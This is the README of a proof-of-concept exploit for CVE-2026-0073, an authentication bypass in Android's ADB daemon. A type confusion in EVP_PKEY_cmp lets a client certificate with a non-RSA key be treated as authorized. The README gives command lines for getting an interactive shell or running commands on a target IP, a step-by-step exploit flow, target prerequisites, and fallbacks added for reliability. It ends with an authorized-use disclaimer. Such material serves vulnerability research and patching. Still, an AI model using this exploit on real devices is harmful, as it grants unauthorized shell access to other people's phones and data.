## https://sploitus.com/exploit?id=014019EE-0C48-576A-908B-4B1C07A97C50
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2026-0073 // ADBD BYPASS β
β Android ADB Daemon TLS Authentication Bypass PoC β
β EVP_PKEY_cmp type confusion exploit β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
# CVE-2026-0073 β Android ADBD TLS Auth Bypass
### `EVP_PKEY_cmp()` type confusion β unauthorized ADB shell
[](https://python.org)
[](https://vulners.com/cve/CVE-2026-0073)
[](https://android.com)
[](LICENSE)
---
## π₯ Overview
A **critical authentication bypass** in Android's ADB daemon (`adbd`) allows any attacker on the local network to obtain a **full shell** on a target device **without user authorization**.
The vulnerability exists in `adbd_tls_verify_cert()` within `daemon/auth.cpp`, where `EVP_PKEY_cmp()` is used as a boolean. When the stored key is **RSA** and the presented TLS client certificate carries a **non-RSA key** (EC P-256 or Ed25519), `EVP_PKEY_cmp()` returns **-1** (type mismatch), which is **truthy in C/C++**, so `authorized = true`.
```c
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // β BUG: -1 is truthy!
authorized = true;
}
```
| `EVP_PKEY_cmp()` return | Meaning | Truthy in C? | Result |
|:-:|---|:-:|---|
| `1` | Keys match | β
| Authorized (correct) |
| `0` | Keys differ | β | Rejected (correct) |
| **`-1`** | **Type mismatch** | **β
** | **Authorized (BUG)** |
---
## β‘ Quick Start
### Install dependencies
```bash
pip install cryptography
```
### Run the exploit
```bash
# Interactive shell
python adb_tls_auth_bypass.py
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
```
### Force a specific key type
```bash
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
```
> By default, the script auto-tries **EC P-256 β Ed25519 β EC/TLS 1.2** until one succeeds.
---
## π― Exploit Flow
```
Attacker Target (adbd)
β β
βββββ TCP connect βββββββββββββββββββΊβ
βββββ CNXN (cleartext) βββββββββββββΊβ
βββββ STLS (TLS upgrade request) βββ
βββββ STLS reply βββββββββββββββββββΊβ
β β
βββββ TLS 1.3 Handshake βββββββββββββ
β (EC P-256 client cert presented) β
β EVP_PKEY_cmp(EC, RSA) β -1 β
β -1 is truthy β authorized=true β
ββββββββββββββββββββββββββββββββββββββ
β β
βββββ CNXN (device info) βββββββββββ
βββββ OPEN "shell:" ββββββββββββββββΊβ
βββββ OKAY βββββββββββββββββββββββββ
βββββΊ WRTE/OKAY (shell I/O) βββββββΊβ
β β
[FULL SHELL ACCESS] β
```
---
## π Prerequisites
| Requirement | Details |
|---|---|
| **Developer Options** | Enabled on target device |
| **Wireless Debugging** | Enabled (or ADB over TCP on port 5555) |
| **Stored RSA key** | Device must have been USB-paired at least once (`/data/misc/adb/adb_keys`) |
| **Network access** | Attacker must reach the adbd TCP port |
> β οΈ **Important:** The RSA key must be in `/data/misc/adb/adb_keys`, which is populated via **USB debugging pairing** (accepting the "Allow USB debugging?" dialog). Wireless debugging pairing (`adb pair`) stores keys in a **different location** (`adb_known_hosts.pb`) and does NOT satisfy this requirement.
---
## π‘οΈ Affected Versions
- **Android 14** (AOSP) β β
Confirmed vulnerable
- **Android 15** (AOSP) β Likely vulnerable (unpatched builds)
- Vendor-specific builds may vary (Samsung One UI, Pixel, etc.)
### How to check the patch level
```bash
adb shell getprop ro.build.version.security_patch
```
---
## π§ͺ Testing Environment
Tested and confirmed working on:
```
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
```
---
## π§ Improvements Over Original
This fork includes several enhancements:
- β
**Multi-key fallback** β Auto-tries EC P-256 β Ed25519 β EC/TLS 1.2
- β
**Ed25519 support** β Alternative key type for broader compatibility
- β
**TLS 1.2 fallback** β Different client cert flow (sent during handshake vs post-handshake)
- β
**Enhanced certificate** β Proper X.509 extensions (BasicConstraints, KeyUsage)
- β
**Windows compatible** β Uses threaded I/O instead of `select()` for cross-platform support
- β
**Increased timeouts** β Better reliability on slower networks
- β
**Verbose diagnostics** β Detailed protocol trace with `-v` flag
---
## π Project Structure
```
CVE-2026-0073-Android-ADBD-bypass-POC/
βββ adb_tls_auth_bypass.py # Main exploit script
βββ README.md # This file
```
---
## β οΈ Disclaimer
This tool is provided for **authorized security testing and educational purposes only**. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse of this software.
---
## π References
- [CVE-2026-0073 β MITRE](https://vulners.com/cve/CVE-2026-0073)
- [Android Security Bulletin](https://source.android.com/docs/security/bulletin)
- [OpenSSL `EVP_PKEY_cmp` documentation](https://www.openssl.org/docs/man3.0/man3/EVP_PKEY_cmp.html)
- [ADB Protocol Reference](https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/main/protocol.txt)
---
**If this helped your research, drop a β**